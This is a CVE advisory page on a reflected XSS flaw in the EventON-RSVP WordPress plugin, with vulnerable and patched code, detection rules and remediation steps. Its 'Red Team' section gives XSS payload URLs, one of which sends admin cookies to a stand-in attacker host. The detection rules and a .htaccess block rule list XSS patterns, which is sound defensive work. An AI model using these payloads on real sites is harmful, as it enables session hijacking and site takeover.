CVE-2023-7170
Executive Summary
CVE-2023-7170 is a Reflected Cross-Site Scripting (XSS) vulnerability in the EventON-RSVP WordPress plugin (versions before 2.9.5). The plugin fails to properly sanitize and escape user-supplied parameters before outputting them back in the page. This allows an attacker to inject arbitrary JavaScript code, which can be executed in the context of a high-privilege user (e.g., administrator) if they click a crafted link. Successful exploitation can lead to session hijacking, credential theft, or complete site compromise.
This vulnerability is classified as a WordPress ecosystem issue, specifically affecting the EventON-RSVP plugin. It is not related to Apache or Nginx server configurations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is part of the WordPress plugin supply chain. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users must ensure they are sourcing the plugin from a trusted vendor and applying updates promptly. No known malicious packages have been identified in the official repository, but the risk of supply chain attacks increases if users download from unofficial sources.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a crafted link)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ability to target high-privilege users significantly increases the potential impact. An attacker could use this to gain administrative access to the WordPress site.
Deep Dive & Mechanics
The vulnerability resides in the eventon-rsvp plugin's handling of HTTP GET parameters. The plugin outputs user-supplied data (likely from parameters like eid, event_id, or similar) directly into the HTML response without proper sanitization or escaping. This is a classic Reflected XSS flaw.
Attack Flow:
- An attacker crafts a malicious URL containing JavaScript payload in a vulnerable parameter.
- The attacker sends this URL to a high-privilege user (e.g., via phishing email, social media, or a compromised site).
- The victim, logged into WordPress as an admin, clicks the link.
- The plugin processes the request and reflects the malicious payload in the response.
- The victim's browser executes the injected JavaScript.
- The attacker can then perform actions such as creating new admin accounts, exfiltrating session cookies, or modifying site content.
Root Cause: The plugin uses functions like echo $_GET['param'] or similar without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post().
Vulnerable vs. Patched Code
Vulnerable Code (version < 2.9.5):
// Example vulnerable snippet
$event_id = $_GET['eid'];
echo "<div class='eventon-rsvp-data' data-event-id='$event_id'>";
Patched Code (version 2.9.5):
// Patched snippet
$event_id = isset($_GET['eid']) ? sanitize_text_field($_GET['eid']) : '';
echo "<div class='eventon-rsvp-data' data-event-id='" . esc_attr($event_id) . "'>";
The patch introduces sanitize_text_field() to strip malicious input and esc_attr() to safely output the value in an HTML attribute context.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site running EventON-RSVP < 2.9.5.
- A victim user with administrative privileges.
Exploit Payload:
https://target-site.com/?eid=<script>alert('XSS')</script>
Advanced Payload (Session Hijacking):
https://target-site.com/?eid=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
Steps:
- Identify a vulnerable parameter (e.g.,
eid,event_id,rsvp_id). - Craft a URL with a JavaScript payload.
- Use social engineering to trick an admin into clicking the link.
- Upon click, the payload executes in the admin's browser.
Note: No public exploit-db code or nuclei template is available for this CVE.
Blue Team (Detection & Prevention)
Detection:
- Monitor web server logs for requests containing suspicious patterns like
<script>,onerror=,javascript:in GET parameters. - Use WAF rules to block reflected XSS attempts.
- Implement Content Security Policy (CSP) headers to mitigate impact.
Prevention:
- Immediately update the plugin to version 2.9.5 or later.
- Apply WordPress hardening: disable file editing, use strong passwords, enable two-factor authentication.
- Regularly audit plugins for known vulnerabilities.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests containing
eid=<script>or similar XSS patterns. - Outbound connections to attacker-controlled domains from the WordPress admin panel.
Host IOCs:
- Unexpected admin user accounts created.
- Modified WordPress files (e.g.,
functions.php, plugin files). - Suspicious entries in
wp_optionstable (e.g., malicious redirects).
Log IOCs:
- Web server logs showing
200responses to URLs with XSS payloads. - WordPress debug logs showing errors from the
eventon-rsvpplugin.
Detection Engineering
YARA Rule
rule CVE_2023_7170_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting EventON-RSVP plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-7170"
strings:
$xss_payload = /[?&](eid|event_id|rsvp_id)=[^&]*<script/i
$xss_onerror = /[?&](eid|event_id|rsvp_id)=[^&]*onerror=/i
$xss_alert = /[?&](eid|event_id|rsvp_id)=[^&]*alert\(/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against EventON-RSVP Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads targeting EventON-RSVP vulnerable parameters
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'eid=<script'
- 'event_id=<script'
- 'rsvp_id=<script'
- 'eid=javascript:'
- 'event_id=onerror='
condition: selection
falsepositives:
- Legitimate use of script tags in testing environments
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2023.7170
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2023-7170 EventON-RSVP Reflected XSS Attempt";
flow:to_server,established;
content:"GET"; http_method;
content:"eid="; http_uri;
pcre:"/(<script|onerror=|javascript:)/i";
classtype:web-application-attack;
sid:10000001;
rev:1;
reference:cve,2023-7170;
)
Remediation & Mitigation
Immediate Actions:
- Update the plugin to version 2.9.5 or later. This is the only complete fix.
- If immediate update is not possible, disable the plugin until patched.
- Review user accounts for any unauthorized admin-level access.
- Rotate all admin passwords and API keys.
Long-term Mitigations:
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce Content Security Policy (CSP) headers.
- Conduct regular security audits of all plugins.
- Subscribe to WordPress security advisories.
Workaround (if patching is delayed):
- Add the following to
.htaccessto block malicious requests:
RewriteEngine On
RewriteCond %{QUERY_STRING} (eid|event_id|rsvp_id)=.*<script [NC,OR]
RewriteCond %{QUERY_STRING} (eid|event_id|rsvp_id)=.*onerror= [NC,OR]
RewriteCond %{QUERY_STRING} (eid|event_id|rsvp_id)=.*javascript: [NC]
RewriteRule ^ - [F,L]
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.